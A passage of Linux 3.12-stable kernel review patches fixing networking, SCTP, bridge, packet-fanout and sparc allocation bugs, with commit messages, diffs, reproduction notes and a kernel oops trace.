commit 0edfad5959df7379c9e554fbe8ba264ae232d321 upstream.

Since it is possible for vnet_event_napi to end up doing
vnet_control_pkt_engine -> ... -> vnet_send_attr ->
vnet_port_alloc_tx_ring -> ldc_alloc_exp_dring -> kzalloc()
(i.e., in softirq context), kzalloc() should be called with
GFP_ATOMIC from ldc_alloc_exp_dring.

Signed-off-by: Sowmini Varadhan <sowmini.varadhan@oracle.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.com>
---
 arch/sparc/kernel/ldc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/sparc/kernel/ldc.c b/arch/sparc/kernel/ldc.c
index 27bb55485472..7ef28625c199 100644
--- a/arch/sparc/kernel/ldc.c
+++ b/arch/sparc/kernel/ldc.c
@@ -2307,7 +2307,7 @@ void *ldc_alloc_exp_dring(struct ldc_channel *lp, unsigned int len,
 	if (len & (8UL - 1))
 		return ERR_PTR(-EINVAL);
 
-	buf = kzalloc(len, GFP_KERNEL);
+	buf = kzalloc(len, GFP_ATOMIC);
 	if (!buf)
 		return ERR_PTR(-ENOMEM);
 
-- 
2.4.6

[PATCH 3.12 077/124] bridge: fix multicast router rlist endless loop

[Jiri Slaby]

From: Nikolay Aleksandrov <razor@blackwall.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 1a040eaca1a22f8da8285ceda6b5e4a2cb704867 ]

Since the addition of sysfs multicast router support if one set
multicast_router to "2" more than once, then the port would be added to
the hlist every time and could end up linking to itself and thus causing an
endless loop for rlist walkers.
So to reproduce just do:
echo 2 > multicast_router; echo 2 > multicast_router;
in a bridge port and let some igmp traffic flow, for me it hangs up
in br_multicast_flood().
Fix this by adding a check in br_multicast_add_router() if the port is
already linked.
The reason this didn't happen before the addition of multicast_router
sysfs entries is because there's a !hlist_unhashed check that prevents
it.

Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org>
Fixes: 0909e11758bd ("bridge: Add multicast_router sysfs entries")
Acked-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/bridge/br_multicast.c | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c
index b11736ad2e0b..f2c104900163 100644
--- a/net/bridge/br_multicast.c
+++ b/net/bridge/br_multicast.c
@@ -1088,6 +1088,9 @@ static void br_multicast_add_router(struct net_bridge *br,
 	struct net_bridge_port *p;
 	struct hlist_node *slot = NULL;
 
+	if (!hlist_unhashed(&port->rlist))
+		return;
+
 	hlist_for_each_entry(p, &br->router_list, rlist) {
 		if ((unsigned long) port >= (unsigned long) p)
 			break;
@@ -1115,12 +1118,8 @@ static void br_multicast_mark_router(struct net_bridge *br,
 	if (port->multicast_router != 1)
 		return;
 
-	if (!hlist_unhashed(&port->rlist))
-		goto timer;
-
 	br_multicast_add_router(br, port);
 
-timer:
 	mod_timer(&port->multicast_router_timer,
 		  now + br->multicast_querier_interval);
 }
-- 
2.4.6

[PATCH 3.12 078/124] net: don't wait for order-3 page allocation

[Jiri Slaby]

From: Shaohua Li <shli@fb.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit fb05e7a89f500cfc06ae277bdc911b281928995d ]

We saw excessive direct memory compaction triggered by skb_page_frag_refill.
This causes performance issues and add latency. Commit 5640f7685831e0
introduces the order-3 allocation. According to the changelog, the order-3
allocation isn't a must-have but to improve performance. But direct memory
compaction has high overhead. The benefit of order-3 allocation can't
compensate the overhead of direct memory compaction.

This patch makes the order-3 page allocation atomic. If there is no memory
pressure and memory isn't fragmented, the alloction will still success, so we
don't sacrifice the order-3 benefit here. If the atomic allocation fails,
direct memory compaction will not be triggered, skb_page_frag_refill will
fallback to order-0 immediately, hence the direct memory compaction overhead is
avoided. In the allocation failure case, kswapd is waken up and doing
compaction, so chances are allocation could success next time.

alloc_skb_with_frags is the same.

The mellanox driver does similar thing, if this is accepted, we must fix
the driver too.

V3: fix the same issue in alloc_skb_with_frags as pointed out by Eric
V2: make the changelog clearer

Cc: Eric Dumazet <edumazet@google.com>
Cc: Chris Mason <clm@fb.com>
Cc: Debabrata Banerjee <dbavatar@gmail.com>
Signed-off-by: Shaohua Li <shli@fb.com>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/core/skbuff.c | 4 +++-
 net/core/sock.c   | 4 +++-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/net/core/skbuff.c b/net/core/skbuff.c
index fa8448a730a9..b01dd5f421da 100644
--- a/net/core/skbuff.c
+++ b/net/core/skbuff.c
@@ -367,9 +367,11 @@ refill:
 		for (order = NETDEV_FRAG_PAGE_MAX_ORDER; ;) {
 			gfp_t gfp = gfp_mask;
 
-			if (order)
+			if (order) {
 				gfp |= __GFP_COMP | __GFP_NOWARN |
 				       __GFP_NOMEMALLOC;
+				gfp &= ~__GFP_WAIT;
+			}
 			nc->frag.page = alloc_pages(gfp, order);
 			if (likely(nc->frag.page))
 				break;
diff --git a/net/core/sock.c b/net/core/sock.c
index f9ec2f5be1c0..2335a7a130f2 100644
--- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -1907,8 +1907,10 @@ bool sk_page_frag_refill(struct sock *sk, struct page_frag *pfrag)
 	do {
 		gfp_t gfp = sk->sk_allocation;
 
-		if (order)
+		if (order) {
 			gfp |= __GFP_COMP | __GFP_NOWARN | __GFP_NORETRY;
+			gfp &= ~__GFP_WAIT;
+		}
 		pfrag->page = alloc_pages(gfp, order);
 		if (likely(pfrag->page)) {
 			pfrag->offset = 0;
-- 
2.4.6

[PATCH 3.12 079/124] sctp: fix ASCONF list handling

[Jiri Slaby]

From: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 ]

->auto_asconf_splist is per namespace and mangled by functions like
sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.

Also, the call to inet_sk_copy_descendant() was backuping
->auto_asconf_list through the copy but was not honoring
->do_auto_asconf, which could lead to list corruption if it was
different between both sockets.

This commit thus fixes the list handling by using ->addr_wq_lock
spinlock to protect the list. A special handling is done upon socket
creation and destruction for that. Error handlig on sctp_init_sock()
will never return an error after having initialized asconf, so
sctp_destroy_sock() can be called without addrq_wq_lock. The lock now
will be take on sctp_close_sock(), before locking the socket, so we
don't do it in inverse order compared to sctp_addr_wq_timeout_handler().

Instead of taking the lock on sctp_sock_migrate() for copying and
restoring the list values, it's preferred to avoid rewritting it by
implementing sctp_copy_descendant().

Issue was found with a test application that kept flipping sysctl
default_auto_asconf on and off, but one could trigger it by issuing
simultaneous setsockopt() calls on multiple sockets or by
creating/destroying sockets fast enough. This is only triggerable
locally.

Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).")
Reported-by: Ji Jianwen <jiji@redhat.com>
Suggested-by: Neil Horman <nhorman@tuxdriver.com>
Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 include/net/netns/sctp.h   |  1 +
 include/net/sctp/structs.h |  4 ++++
 net/sctp/socket.c          | 43 ++++++++++++++++++++++++++++++++-----------
 3 files changed, 37 insertions(+), 11 deletions(-)

diff --git a/include/net/netns/sctp.h b/include/net/netns/sctp.h
index 3573a81815ad..8ba379f9e467 100644
--- a/include/net/netns/sctp.h
+++ b/include/net/netns/sctp.h
@@ -31,6 +31,7 @@ struct netns_sctp {
 	struct list_head addr_waitq;
 	struct timer_list addr_wq_timer;
 	struct list_head auto_asconf_splist;
+	/* Lock that protects both addr_waitq and auto_asconf_splist */
 	spinlock_t addr_wq_lock;
 
 	/* Lock that protects the local_addr_list writers */
diff --git a/include/net/sctp/structs.h b/include/net/sctp/structs.h
index 8b31f09dd695..682e8cc82a9f 100644
--- a/include/net/sctp/structs.h
+++ b/include/net/sctp/structs.h
@@ -220,6 +220,10 @@ struct sctp_sock {
 	atomic_t pd_mode;
 	/* Receive to here while partial delivery is in effect. */
 	struct sk_buff_head pd_lobby;
+
+	/* These must be the last fields, as they will skipped on copies,
+	 * like on accept and peeloff operations
+	 */
 	struct list_head auto_asconf_list;
 	int do_auto_asconf;
 };
diff --git a/net/sctp/socket.c b/net/sctp/socket.c
index e00a041129c2..09b147e0fe57 100644
--- a/net/sctp/socket.c
+++ b/net/sctp/socket.c
@@ -1533,8 +1533,10 @@ static void sctp_close(struct sock *sk, long timeout)
 
 	/* Supposedly, no process has access to the socket, but
 	 * the net layers still may.
+	 * Also, sctp_destroy_sock() needs to be called with addr_wq_lock
+	 * held and that should be grabbed before socket lock.
 	 */
-	sctp_local_bh_disable();
+	spin_lock_bh(&net->sctp.addr_wq_lock);
 	sctp_bh_lock_sock(sk);
 
 	/* Hold the sock, since sk_common_release() will put sock_put()
@@ -1544,7 +1546,7 @@ static void sctp_close(struct sock *sk, long timeout)
 	sk_common_release(sk);
 
 	sctp_bh_unlock_sock(sk);
-	sctp_local_bh_enable();
+	spin_unlock_bh(&net->sctp.addr_wq_lock);
 
 	sock_put(sk);
 
@@ -3486,6 +3488,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval,
 	if ((val && sp->do_auto_asconf) || (!val && !sp->do_auto_asconf))
 		return 0;
 
+	spin_lock_bh(&sock_net(sk)->sctp.addr_wq_lock);
 	if (val == 0 && sp->do_auto_asconf) {
 		list_del(&sp->auto_asconf_list);
 		sp->do_auto_asconf = 0;
@@ -3494,6 +3497,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval,
 		    &sock_net(sk)->sctp.auto_asconf_splist);
 		sp->do_auto_asconf = 1;
 	}
+	spin_unlock_bh(&sock_net(sk)->sctp.addr_wq_lock);
 	return 0;
 }
 
@@ -3984,18 +3988,28 @@ static int sctp_init_sock(struct sock *sk)
 	local_bh_disable();
 	percpu_counter_inc(&sctp_sockets_allocated);
 	sock_prot_inuse_add(net, sk->sk_prot, 1);
+
+	/* Nothing can fail after this block, otherwise
+	 * sctp_destroy_sock() will be called without addr_wq_lock held
+	 */
 	if (net->sctp.default_auto_asconf) {
+		spin_lock(&sock_net(sk)->sctp.addr_wq_lock);
 		list_add_tail(&sp->auto_asconf_list,
 		    &net->sctp.auto_asconf_splist);
 		sp->do_auto_asconf = 1;
-	} else
+		spin_unlock(&sock_net(sk)->sctp.addr_wq_lock);
+	} else {
 		sp->do_auto_asconf = 0;
+	}
+
 	local_bh_enable();
 
 	return 0;
 }
 
-/* Cleanup any SCTP per socket resources.  */
+/* Cleanup any SCTP per socket resources. Must be called with
+ * sock_net(sk)->sctp.addr_wq_lock held if sp->do_auto_asconf is true
+ */
 static void sctp_destroy_sock(struct sock *sk)
 {
 	struct sctp_sock *sp;
@@ -6938,6 +6952,19 @@ void sctp_copy_sock(struct sock *newsk, struct sock *sk,
 	newinet->mc_list = NULL;
 }
 
+static inline void sctp_copy_descendant(struct sock *sk_to,
+					const struct sock *sk_from)
+{
+	int ancestor_size = sizeof(struct inet_sock) +
+			    sizeof(struct sctp_sock) -
+			    offsetof(struct sctp_sock, auto_asconf_list);
+
+	if (sk_from->sk_family == PF_INET6)
+		ancestor_size += sizeof(struct ipv6_pinfo);
+
+	__inet_sk_copy_descendant(sk_to, sk_from, ancestor_size);
+}
+
 /* Populate the fields of the newsk from the oldsk and migrate the assoc
  * and its messages to the newsk.
  */
@@ -6952,7 +6979,6 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk,
 	struct sk_buff *skb, *tmp;
 	struct sctp_ulpevent *event;
 	struct sctp_bind_hashbucket *head;
-	struct list_head tmplist;
 
 	/* Migrate socket buffer sizes and all the socket level options to the
 	 * new socket.
@@ -6960,12 +6986,7 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk,
 	newsk->sk_sndbuf = oldsk->sk_sndbuf;
 	newsk->sk_rcvbuf = oldsk->sk_rcvbuf;
 	/* Brute force copy old sctp opt. */
-	if (oldsp->do_auto_asconf) {
-		memcpy(&tmplist, &newsp->auto_asconf_list, sizeof(tmplist));
-		inet_sk_copy_descendant(newsk, oldsk);
-		memcpy(&newsp->auto_asconf_list, &tmplist, sizeof(tmplist));
-	} else
-		inet_sk_copy_descendant(newsk, oldsk);
+	sctp_copy_descendant(newsk, oldsk);
 
 	/* Restore the ep value that was overwritten with the above structure
 	 * copy.
-- 
2.4.6

[PATCH 3.12 080/124] bridge: fix br_stp_set_bridge_priority race conditions

[Jiri Slaby]

From: Nikolay Aleksandrov <razor@blackwall.org>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 2dab80a8b486f02222a69daca6859519e05781d9 ]

After the ->set() spinlocks were removed br_stp_set_bridge_priority
was left running without any protection when used via sysfs. It can
race with port add/del and could result in use-after-free cases and
corrupted lists. Tested by running port add/del in a loop with stp
enabled while setting priority in a loop, crashes are easily
reproducible.
The spinlocks around sysfs ->set() were removed in commit:
14f98f258f19 ("bridge: range check STP parameters")
There's also a race condition in the netlink priority support that is
fixed by this change, but it was introduced recently and the fixes tag
covers it, just in case it's needed the commit is:
af615762e972 ("bridge: add ageing_time, stp_state, priority over netlink")

Signed-off-by: Nikolay Aleksandrov <razor@blackwall.org>
Fixes: 14f98f258f19 ("bridge: range check STP parameters")
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/bridge/br_ioctl.c  | 2 --
 net/bridge/br_stp_if.c | 4 +++-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/net/bridge/br_ioctl.c b/net/bridge/br_ioctl.c
index cd8c3a44ab7d..b73eaba85667 100644
--- a/net/bridge/br_ioctl.c
+++ b/net/bridge/br_ioctl.c
@@ -247,9 +247,7 @@ static int old_dev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd)
 		if (!ns_capable(dev_net(dev)->user_ns, CAP_NET_ADMIN))
 			return -EPERM;
 
-		spin_lock_bh(&br->lock);
 		br_stp_set_bridge_priority(br, args[1]);
-		spin_unlock_bh(&br->lock);
 		return 0;
 
 	case BRCTL_SET_PORT_PRIORITY:
diff --git a/net/bridge/br_stp_if.c b/net/bridge/br_stp_if.c
index 656a6f3e40de..886f6d6dc48a 100644
--- a/net/bridge/br_stp_if.c
+++ b/net/bridge/br_stp_if.c
@@ -241,12 +241,13 @@ bool br_stp_recalculate_bridge_id(struct net_bridge *br)
 	return true;
 }
 
-/* called under bridge lock */
+/* Acquires and releases bridge lock */
 void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio)
 {
 	struct net_bridge_port *p;
 	int wasroot;
 
+	spin_lock_bh(&br->lock);
 	wasroot = br_is_root_bridge(br);
 
 	list_for_each_entry(p, &br->port_list, list) {
@@ -264,6 +265,7 @@ void br_stp_set_bridge_priority(struct net_bridge *br, u16 newprio)
 	br_port_state_selection(br);
 	if (br_is_root_bridge(br) && !wasroot)
 		br_become_root_bridge(br);
+	spin_unlock_bh(&br->lock);
 }
 
 /* called under bridge lock */
-- 
2.4.6

[PATCH 3.12 081/124] packet: read num_members once in packet_rcv_fanout()

[Jiri Slaby]

From: Eric Dumazet <edumazet@google.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit f98f4514d07871da7a113dd9e3e330743fd70ae4 ]

We need to tell compiler it must not read f->num_members multiple
times. Otherwise testing if num is not zero is flaky, and we could
attempt an invalid divide by 0 in fanout_demux_cpu()

Note bug was present in packet_rcv_fanout_hash() and
packet_rcv_fanout_lb() but final 3.1 had a simple location
after commit 95ec3eb417115fb ("packet: Add 'cpu' fanout policy.")

Fixes: dc99f600698dc ("packet: Add fanout support.")
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Willem de Bruijn <willemb@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/packet/af_packet.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index a84612585fc8..e844c6152570 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -1224,7 +1224,7 @@ static int packet_rcv_fanout(struct sk_buff *skb, struct net_device *dev,
 			     struct packet_type *pt, struct net_device *orig_dev)
 {
 	struct packet_fanout *f = pt->af_packet_priv;
-	unsigned int num = f->num_members;
+	unsigned int num = ACCESS_ONCE(f->num_members);
 	struct packet_sock *po;
 	unsigned int idx;
 
-- 
2.4.6

[PATCH 3.12 082/124] packet: avoid out of bounds read in round robin fanout

[Jiri Slaby]

From: Willem de Bruijn <willemb@google.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 468479e6043c84f5a65299cc07cb08a22a28c2b1 ]

PACKET_FANOUT_LB computes f->rr_cur such that it is modulo
f->num_members. It returns the old value unconditionally, but
f->num_members may have changed since the last store. Ensure
that the return value is always < num.

When modifying the logic, simplify it further by replacing the loop
with an unconditional atomic increment.

Fixes: dc99f600698d ("packet: Add fanout support.")
Suggested-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Willem de Bruijn <willemb@google.com>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/packet/af_packet.c | 18 ++----------------
 1 file changed, 2 insertions(+), 16 deletions(-)

diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index e844c6152570..7f63613148b9 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -1150,16 +1150,6 @@ static void packet_sock_destruct(struct sock *sk)
 	sk_refcnt_debug_dec(sk);
 }
 
-static int fanout_rr_next(struct packet_fanout *f, unsigned int num)
-{
-	int x = atomic_read(&f->rr_cur) + 1;
-
-	if (x >= num)
-		x = 0;
-
-	return x;
-}
-
 static unsigned int fanout_demux_hash(struct packet_fanout *f,
 				      struct sk_buff *skb,
 				      unsigned int num)
@@ -1171,13 +1161,9 @@ static unsigned int fanout_demux_lb(struct packet_fanout *f,
 				    struct sk_buff *skb,
 				    unsigned int num)
 {
-	int cur, old;
+	unsigned int val = atomic_inc_return(&f->rr_cur);
 
-	cur = atomic_read(&f->rr_cur);
-	while ((old = atomic_cmpxchg(&f->rr_cur, cur,
-				     fanout_rr_next(f, num))) != cur)
-		cur = old;
-	return cur;
+	return val % num;
 }
 
 static unsigned int fanout_demux_cpu(struct packet_fanout *f,
-- 
2.4.6

[PATCH 3.12 083/124] neigh: do not modify unlinked entries

[Jiri Slaby]

From: Julian Anastasov <ja@ssi.bg>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 2c51a97f76d20ebf1f50fef908b986cb051fdff9 ]

The lockless lookups can return entry that is unlinked.
Sometimes they get reference before last neigh_cleanup_and_release,
sometimes they do not need reference. Later, any
modification attempts may result in the following problems:

1. entry is not destroyed immediately because neigh_update
can start the timer for dead entry, eg. on change to NUD_REACHABLE
state. As result, entry lives for some time but is invisible
and out of control.

2. __neigh_event_send can run in parallel with neigh_destroy
while refcnt=0 but if timer is started and expired refcnt can
reach 0 for second time leading to second neigh_destroy and
possible crash.

Thanks to Eric Dumazet and Ying Xue for their work and analyze
on the __neigh_event_send change.

Fixes: 767e97e1e0db ("neigh: RCU conversion of struct neighbour")
Fixes: a263b3093641 ("ipv4: Make neigh lookups directly in output packet path.")
Fixes: 6fd6ce2056de ("ipv6: Do not depend on rt->n in ip6_finish_output2().")
Cc: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Ying Xue <ying.xue@windriver.com>
Signed-off-by: Julian Anastasov <ja@ssi.bg>
Acked-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/core/neighbour.c | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/net/core/neighbour.c b/net/core/neighbour.c
index 467e3e071832..7453923dc507 100644
--- a/net/core/neighbour.c
+++ b/net/core/neighbour.c
@@ -971,6 +971,8 @@ int __neigh_event_send(struct neighbour *neigh, struct sk_buff *skb)
 	rc = 0;
 	if (neigh->nud_state & (NUD_CONNECTED | NUD_DELAY | NUD_PROBE))
 		goto out_unlock_bh;
+	if (neigh->dead)
+		goto out_dead;
 
 	if (!(neigh->nud_state & (NUD_STALE | NUD_INCOMPLETE))) {
 		if (neigh->parms->mcast_probes + neigh->parms->app_probes) {
@@ -1024,6 +1026,13 @@ out_unlock_bh:
 		write_unlock(&neigh->lock);
 	local_bh_enable();
 	return rc;
+
+out_dead:
+	if (neigh->nud_state & NUD_STALE)
+		goto out_unlock_bh;
+	write_unlock_bh(&neigh->lock);
+	kfree_skb(skb);
+	return 1;
 }
 EXPORT_SYMBOL(__neigh_event_send);
 
@@ -1087,6 +1096,8 @@ int neigh_update(struct neighbour *neigh, const u8 *lladdr, u8 new,
 	if (!(flags & NEIGH_UPDATE_F_ADMIN) &&
 	    (old & (NUD_NOARP | NUD_PERMANENT)))
 		goto out;
+	if (neigh->dead)
+		goto out;
 
 	if (!(new & NUD_VALID)) {
 		neigh_del_timer(neigh);
-- 
2.4.6

[PATCH 3.12 084/124] sctp: Fix race between OOTB responce and route removal

[Jiri Slaby]

From: Alexander Sverdlin <alexander.sverdlin@nokia.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

[ Upstream commit 29c4afc4e98f4dc0ea9df22c631841f9c220b944 ]

There is NULL pointer dereference possible during statistics update if the route
used for OOTB responce is removed at unfortunate time. If the route exists when
we receive OOTB packet and we finally jump into sctp_packet_transmit() to send
ABORT, but in the meantime route is removed under our feet, we take "no_route"
path and try to update stats with IP_INC_STATS(sock_net(asoc->base.sk), ...).

But sctp_ootb_pkt_new() used to prepare responce packet doesn't call
sctp_transport_set_owner() and therefore there is no asoc associated with this
packet. Probably temporary asoc just for OOTB responces is overkill, so just
introduce a check like in all other places in sctp_packet_transmit(), where
"asoc" is dereferenced.

To reproduce this, one needs to
0. ensure that sctp module is loaded (otherwise ABORT is not generated)
1. remove default route on the machine
2. while true; do
     ip route del [interface-specific route]
     ip route add [interface-specific route]
   done
3. send enough OOTB packets (i.e. HB REQs) from another host to trigger ABORT
   responce

On x86_64 the crash looks like this:

BUG: unable to handle kernel NULL pointer dereference at 0000000000000020
IP: [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
PGD 0
Oops: 0000 [#1] PREEMPT SMP
Modules linked in: ...
CPU: 0 PID: 0 Comm: swapper/0 Tainted: G           O    4.0.5-1-ARCH #1
Hardware name: ...
task: ffffffff818124c0 ti: ffffffff81800000 task.ti: ffffffff81800000
RIP: 0010:[<ffffffffa05ec9ac>]  [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
RSP: 0018:ffff880127c037b8  EFLAGS: 00010296
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00000015ff66b480
RDX: 00000015ff66b400 RSI: ffff880127c17200 RDI: ffff880123403700
RBP: ffff880127c03888 R08: 0000000000017200 R09: ffffffff814625af
R10: ffffea00047e4680 R11: 00000000ffffff80 R12: ffff8800b0d38a28
R13: ffff8800b0d38a28 R14: ffff8800b3e88000 R15: ffffffffa05f24e0
FS:  0000000000000000(0000) GS:ffff880127c00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: 0000000000000020 CR3: 00000000c855b000 CR4: 00000000000007f0
Stack:
 ffff880127c03910 ffff8800b0d38a28 ffffffff8189d240 ffff88011f91b400
 ffff880127c03828 ffffffffa05c94c5 0000000000000000 ffff8800baa1c520
 0000000000000000 0000000000000001 0000000000000000 0000000000000000
Call Trace:
 <IRQ>
 [<ffffffffa05c94c5>] ? sctp_sf_tabort_8_4_8.isra.20+0x85/0x140 [sctp]
 [<ffffffffa05d6b42>] ? sctp_transport_put+0x52/0x80 [sctp]
 [<ffffffffa05d0bfc>] sctp_do_sm+0xb8c/0x19a0 [sctp]
 [<ffffffff810b0e00>] ? trigger_load_balance+0x90/0x210
 [<ffffffff810e0329>] ? update_process_times+0x59/0x60
 [<ffffffff812c7a40>] ? timerqueue_add+0x60/0xb0
 [<ffffffff810e0549>] ? enqueue_hrtimer+0x29/0xa0
 [<ffffffff8101f599>] ? read_tsc+0x9/0x10
 [<ffffffff8116d4b5>] ? put_page+0x55/0x60
 [<ffffffff810ee1ad>] ? clockevents_program_event+0x6d/0x100
 [<ffffffff81462b68>] ? skb_free_head+0x58/0x80
 [<ffffffffa029a10b>] ? chksum_update+0x1b/0x27 [crc32c_generic]
 [<ffffffff81283f3e>] ? crypto_shash_update+0xce/0xf0
 [<ffffffffa05d3993>] sctp_endpoint_bh_rcv+0x113/0x280 [sctp]
 [<ffffffffa05dd4e6>] sctp_inq_push+0x46/0x60 [sctp]
 [<ffffffffa05ed7a0>] sctp_rcv+0x880/0x910 [sctp]
 [<ffffffffa05ecb50>] ? sctp_packet_transmit_chunk+0xb0/0xb0 [sctp]
 [<ffffffffa05ecb70>] ? sctp_csum_update+0x20/0x20 [sctp]
 [<ffffffff814b05a5>] ? ip_route_input_noref+0x235/0xd30
 [<ffffffff81051d6b>] ? ack_ioapic_level+0x7b/0x150
 [<ffffffff814b27be>] ip_local_deliver_finish+0xae/0x210
 [<ffffffff814b2e15>] ip_local_deliver+0x35/0x90
 [<ffffffff814b2a15>] ip_rcv_finish+0xf5/0x370
 [<ffffffff814b3128>] ip_rcv+0x2b8/0x3a0
 [<ffffffff81474193>] __netif_receive_skb_core+0x763/0xa50
 [<ffffffff81476c28>] __netif_receive_skb+0x18/0x60
 [<ffffffff81476cb0>] netif_receive_skb_internal+0x40/0xd0
 [<ffffffff814776c8>] napi_gro_receive+0xe8/0x120
 [<ffffffffa03946aa>] rtl8169_poll+0x2da/0x660 [r8169]
 [<ffffffff8147896a>] net_rx_action+0x21a/0x360
 [<ffffffff81078dc1>] __do_softirq+0xe1/0x2d0
 [<ffffffff8107912d>] irq_exit+0xad/0xb0
 [<ffffffff8157d158>] do_IRQ+0x58/0xf0
 [<ffffffff8157b06d>] common_interrupt+0x6d/0x6d
 <EOI>
 [<ffffffff810e1218>] ? hrtimer_start+0x18/0x20
 [<ffffffffa05d65f9>] ? sctp_transport_destroy_rcu+0x29/0x30 [sctp]
 [<ffffffff81020c50>] ? mwait_idle+0x60/0xa0
 [<ffffffff810216ef>] arch_cpu_idle+0xf/0x20
 [<ffffffff810b731c>] cpu_startup_entry+0x3ec/0x480
 [<ffffffff8156b365>] rest_init+0x85/0x90
 [<ffffffff818eb035>] start_kernel+0x48b/0x4ac
 [<ffffffff818ea120>] ? early_idt_handlers+0x120/0x120
 [<ffffffff818ea339>] x86_64_start_reservations+0x2a/0x2c
 [<ffffffff818ea49c>] x86_64_start_kernel+0x161/0x184
Code: 90 48 8b 80 b8 00 00 00 48 89 85 70 ff ff ff 48 83 bd 70 ff ff ff 00 0f 85 cd fa ff ff 48 89 df 31 db e8 18 63 e7 e0 48 8b 45 80 <48> 8b 40 20 48 8b 40 30 48 8b 80 68 01 00 00 65 48 ff 40 78 e9
RIP  [<ffffffffa05ec9ac>] sctp_packet_transmit+0x63c/0x730 [sctp]
 RSP <ffff880127c037b8>
CR2: 0000000000000020
---[ end trace 5aec7fd2dc983574 ]---
Kernel panic - not syncing: Fatal exception in interrupt
Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff)
drm_kms_helper: panic occurred, switching back to text console
---[ end Kernel panic - not syncing: Fatal exception in interrupt

Signed-off-by: Alexander Sverdlin <alexander.sverdlin@nokia.com>
Acked-by: Neil Horman <nhorman@tuxdriver.com>
Acked-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Acked-by: Vlad Yasevich <vyasevich@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 net/sctp/output.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/net/sctp/output.c b/net/sctp/output.c
index 69faf79a48c6..74d061d6e4e4 100644
--- a/net/sctp/output.c
+++ b/net/sctp/output.c
@@ -606,7 +606,9 @@ out:
 	return err;
 no_route:
 	kfree_skb(nskb);
-	IP_INC_STATS(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES);
+
+	if (asoc)
+		IP_INC_STATS(sock_net(asoc->base.sk), IPSTATS_MIB_OUTNOROUTES);
 
 	/* FIXME: Returning the 'err' will effect all the associations
 	 * associated with a socket, although only one of the paths of the
-- 
2.4.6

[PATCH 3.12 085/124] crypto: talitos - avoid memleak in talitos_alg_alloc()

[Jiri Slaby]

From: Horia Geant? <horia.geanta@freescale.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit 5fa7dadc898567ce14d6d6d427e7bd8ce6eb5d39 upstream.

Fixes: 1d11911a8c57 ("crypto: talitos - fix warning: 'alg' may be used uninitialized in this function")
Signed-off-by: Horia Geanta <horia.geanta@freescale.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
